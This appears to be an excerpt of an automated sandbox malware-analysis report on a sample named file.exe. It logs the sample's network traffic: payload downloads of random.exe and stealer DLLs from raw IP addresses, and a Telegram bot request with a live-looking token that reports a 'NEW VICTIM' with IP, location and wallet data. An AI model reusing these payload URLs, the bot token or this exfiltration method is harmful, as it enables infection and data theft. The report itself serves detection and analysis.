Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0085E0C0 recv,recv,recv,recv, 0_2_0085E0C0
Source: global traffic HTTP traffic detected: GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20715575%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20715575%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKDhygE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKDhygE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2,es_dfp:72fefd38 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddllog?async=doodle:306735258,slot:22,type:1,cta:0 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20715575%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /niCGMfnfOxUBXxpLhBBB1734796753?argument=sqcim1nDAay1ts2z1734830229 HTTP/1.1Host: home.fivetk5sb.topAccept: */*
Source: global traffic HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 4-1b5020b1c2a0"},"nmmhkkegccagdldgiimedpiccmgmieda":{"cohort":"1::","cohortname":"","dlrc":6120,"installdate":6120,"pf":"dcb37f49-aa68-4ebc-a8d4-14eaa556e331"}}},"web_app":{"app_id":{"install_url":{"aghbiahbpaijignceidepookljebhfak":["https://drive.google.com/drive/installwebapp?usp=chrome_default"],"agimnkijcaahngcdmfeangaknmldooml":["https://www.youtube.com/s/notifications/manifest/cr_install.html"],"fhihpiojkbmbpdjeoajapmgkhlnakfjf":["https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default"],"fmgjjmmmlfnkbppncabfkddbjimcfncm":["https://mail.google.com/mail/installwebapp?usp=chrome_default"],"kefjledonklijopmnomlcbpllchaibag":["https://docs.google.com/presentation/installwebapp?usp=chrome_default"],"mpnpojknpmmopombnjdcgaaiekajbnjb":["https://docs.google.com/document/installwebapp?usp=chrome_default"]}}},"web_apps":{"did_migrate_default_chrome_apps":["MigrateDefaultChromeAppToWebAppsGSuite","MigrateDefaultChromeAppToWebAppsNonGSuite"],"last_preinstall_synchronize_version":"117","migrated_default_apps":["aohghmighlieiainnegkcijnfilokake","aapocclcgogkmnckokdopfmhonfmgoek","felcaaldnbdncclmgdcncolpebgiejap","apdfllckaahabafndbhieahigkjlhalf","pjkljhegncpnkpknbcohdijeoejaedia","blpcfgokakmgnkcojhhkbfbldkacnbeo"]},"zerosuggest":{"cachedresults":")]}'\n[\"\",[\"one piece chapter 1094 spoilers twitter\",\"baltimore drinking water parasites\",\"assassin creed mirage release\",\"rwd tesla model y\",\"michigan hockey johnny druskinis\",\"loki season 2 jonathan majors\",\"google pixel 8 pro leaks\",\"amazon prime deals prime day\"],[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],[],{\"google:clientdata\":{\"bpc\":false,\"tlw\":false},\"google:groupsinfo\":\"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\\u003d\",\"google:suggestdetail\":[{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002}],\"google:suggestrelevance\":[1257,1256,1255,1254,1253,1252,1251,1250],\"google:suggestsubtypes\":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],\"google:suggesttype\":[\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\"]}]"}} equals www.youtube.com (Youtube)
Source: cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: da":{"cohort":"1::","cohortname":"","dlrc":6120,"installdate":6120,"pf":"dcb37f49-aa68-4ebc-a8d4-14eaa556e331"}}},"web_app":{"app_id":{"install_url":{"aghbiahbpaijignceidepookljebhfak":["https://drive.google.com/drive/installwebapp?usp=chrome_default"],"agimnkijcaahngcdmfeangaknmldooml":["https://www.youtube.com/s/notifications/manifest/cr_install.html"],"fhihpiojkbmbpdjeoajapmgkhlnakfjf":["https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default"],"fmgjjmmmlfnkbppncabfkddbjimcfncm":["https://mail.google.com/mail/installwebapp?usp=chrome_default"],"kefjledonklijopmnomlcbpllchaibag":["https://docs.google.com/presentation/installwebapp?usp=chrome_default"],"mpnpojknpmmopombnjdcgaaiekajbnjb":["https://docs.google.com/document/installwebapp?usp=chrome_default"]}}},"web_apps":{"did_migrate_default_chrome_apps":["MigrateDefaultChromeAppToWebAppsGSuite","MigrateDefaultChromeAppToWebAppsNonGSuite"],"last_preinstall_synchronize_version":"117","migrated_default_apps":["aohghmighlieiainnegkcijnfilokake","aapocclcgogkmnckokdopfmhonfmgoek","felcaaldnbdncclmgdcncolpebgiejap","apdfllckaahabafndbhieahigkjlhalf","pjkljhegncpnkpknbcohdijeoejaedia","blpcfgokakmgnkcojhhkbfbldkacnbeo"]},"zerosuggest":{"cachedresults":")]}'\n[\"\",[\"one piece chapter 1094 spoilers twitter\",\"baltimore drinking water parasites\",\"assassin creed mirage release\",\"rwd tesla model y\",\"michigan hockey johnny druskinis\",\"loki season 2 jonathan majors\",\"google pixel 8 pro leaks\",\"amazon prime deals prime day\"],[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],[],{\"google:clientdata\":{\"bpc\":false,\"tlw\":false},\"google:groupsinfo\":\"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\\u003d\",\"google:suggestdetail\":[{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002}],\"google:suggestrelevance\":[1257,1256,1255,1254,1253,1252,1251,1250],\"google:suggestsubtypes\":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],\"google:suggesttype\":[\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\"]}]"}}chedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340886957835794","type":2,"window_count":0},{"crashed":false,"time":"13340886960923866","type":0},{"did_schedule_command":true,"first_session_service":true,"tab_count":1,"time":"13340886965177921","type":2,"window_count":1},{"crashed":false,"time":"13340890857002147","type":0},{"did_schedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340890857032656","type":2,"window_count":0},{"crashed":false,"time":"13340890860222296","type":0},{"did_schedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340890860225507","type":2,"window_count":0},{"crashed":false,"time":"13340890862208495","type":0},{"did_schedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340890862220490","type":2,"window_count":0},{"crashed":false,"time"
